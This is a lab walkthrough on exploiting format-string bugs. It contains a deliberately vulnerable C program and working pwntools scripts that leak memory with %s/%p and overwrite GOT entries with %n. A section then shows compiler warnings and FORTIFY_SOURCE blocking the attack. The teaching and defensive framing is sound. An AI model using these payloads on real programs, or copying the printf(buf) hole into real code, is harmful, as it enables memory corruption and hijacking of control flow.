Format-String Bugs: Arbitrary Read and Write
One printf(user_input) is a full read/write primitive. Leak with %p, overwrite with %n via pwntools, then watch -Wformat=2 and FORTIFY_SOURCE shut it down.
This is the fourth walkthrough in the Exploitation Techniques area. So far every technique started from a stack overflow. This one starts from something that looks utterly harmless — a logging line — and yields a full arbitrary read and write primitive, often without corrupting anything by overflow at all.
The bug class is CWE-134, and its concept side is covered in integer overflows and format strings. Here we weaponize it in the lab, then watch the compiler and glibc shut it down.
Why one missing "%s" is a primitive
printf reads its first argument as a format string and fetches further arguments to satisfy each specifier. If the attacker controls that string, they control the specifiers:
| Specifier | Effect | Gives the attacker |
|---|---|---|
%p / %x | Print a stack/register value | Memory + stack layout leaks |
%s | Dereference a pointer argument and print it | Arbitrary read |
%n | Write "chars printed so far" to a pointer argument | Arbitrary write |
%7$p | Access the 7th argument directly | Reach a value the attacker planted |
That last positional form is the key that turns theory into a tool: the attacker puts a target address in the input, then references it by argument position.
The target
/* vuln.c — the bug is printf(buf), not printf("%s", buf). */
#include <stdio.h>
#include <unistd.h>
int main(void) {
char buf[128];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
ssize_t n = read(0, buf, sizeof(buf) - 1);
if (n <= 0) break;
buf[n] = '\0';
printf(buf); /* CWE-134: user controls the format string */
}
return 0;
}
Build it with the format warnings off so it compiles (we turn them on at the end):
gcc -fno-stack-protector -no-pie -Wno-format -O0 -g -o vuln vuln.c
Step 1 — find our offset on the stack
Send a marker followed by several %p. Whichever %p prints the marker tells us which argument index our input sits at.
$ ./vuln
AAAAAAAA %p %p %p %p %p %p %p %p
AAAAAAAA 0x7ffd... 0x0 0x1 0x7f... 0x4141414141414141 ...
Here 0x4141414141414141 ("AAAAAAAA") appears at the 5th %p, so our buffer is argument 6 (the marker is 8 bytes; positions shift by the fixed leading arguments). pwntools automates finding this:
from pwn import *
context.binary = ELF("./vuln")
def exec_fmt(payload):
p = process("./vuln"); p.sendline(payload); return p.recvline()
fmt = FmtStr(exec_fmt) # probes the offset automatically
log.success("format-string arg offset: %d", fmt.offset)
Step 2 — arbitrary read
Read any address by placing it in the input and dereferencing with %s at our offset. To leak, say, a GOT entry (a libc pointer):
from pwn import *
context.binary = elf = ELF("./vuln")
io = process("./vuln")
target = elf.got["read"] # address we want to read
# %7$s → treat argument 7 as a char* and print it; address supplied inline
payload = b"%7$s".ljust(8, b" ") + p64(target)
io.sendline(payload)
leak = io.recvline()
log.success("bytes at read@got: %s", enhex(leak[:6]))
That is an arbitrary read: the pointer we control (target) is dereferenced and its contents printed — enough to defeat ASLR by leaking a libc pointer, exactly like the ret2libc leak.
Step 3 — arbitrary write with %n
%n writes the number of characters printed so far to a pointer argument. Control the count with a field width, control the pointer with the input, and you write a chosen value to a chosen address. Doing this by hand means splitting the write into byte-sized chunks; pwntools' fmtstr_payload does the arithmetic:
from pwn import *
context.binary = elf = ELF("./vuln")
io = process("./vuln")
# overwrite the GOT entry for exit() with the address of a win() / system call
writes = { elf.got["exit"]: elf.symbols["main"] } # example: loop instead of exit
payload = fmtstr_payload(6, writes) # 6 = our arg offset
io.sendline(payload)
Point that write at a saved return address, a GOT entry (see the next guide), or a function pointer, and the arbitrary write becomes control-flow hijack. No overflow was needed — just a format string.
Turn the mitigations back on
Compile-time: -Wformat=2
gcc -Wformat=2 -Wformat-security -Werror -O0 vuln.c -o vuln_safe
vuln.c:11:16: error: format not a string literal and no format arguments [-Werror=format-security]
11 | printf(buf);
| ^~~
The build simply fails. This is the cheapest and most complete defence: the bug never ships. Every C/C++ project should compile with -Wformat=2 -Wformat-security, ideally as -Werror.
Runtime: FORTIFY_SOURCE
gcc -D_FORTIFY_SOURCE=2 -O2 -Wno-format vuln.c -o vuln_fortify
With FORTIFY, glibc refuses a %n when the format string sits in writable memory:
*** %n in writable segment detected ***
Step 3's write primitive is dead. Note the limit: %p/%s reads still work, so FORTIFY narrows the bug to a leak rather than removing it. Reads plus a separate corruption bug can still be dangerous.
| Defence | Blocks the read (%s/%p)? | Blocks the write (%n)? |
|---|---|---|
-Wformat=2 -Wformat-security (compile) | Yes — code won't build | Yes |
-D_FORTIFY_SOURCE=2 (runtime) | No | Yes (writable format) |
| Full RELRO | No | Only protects the GOT specifically |
What this teaches a defender
- This is a compiler-catchable bug. Unlike overflows, a format-string vulnerability is almost always visible to
-Wformat=2at build time. If your CI does not fail on-Wformat-security, turn it on today — see binary hardening flags. - A "read-only" bug is still an ASLR-defeating leak. Even where FORTIFY blocks
%n, the%sread hands an attacker the libc base. Treat information-disclosure format strings as serious, not cosmetic. - Grep is your friend.
printf,fprintf,snprintf,syslog,err/warnwith a non-literal first argument are all suspect. A quick audit finds most of them.
Key takeaways
- A user-controlled format string is a full arbitrary read (
%s/%p) and write (%n) primitive — no overflow required. - Find your argument offset with
%pprobing or pwntools'FmtStr; build writes withfmtstr_payload. - Point the write at a return address or GOT entry to convert it into code execution.
-Wformat=2 -Wformat-securityprevents the bug at compile time; FORTIFY_SOURCE blocks%nat runtime but not reads.
Next: hijacking the GOT — where an arbitrary write like this one is aimed at the Global Offset Table, and Full RELRO decides whether it lands.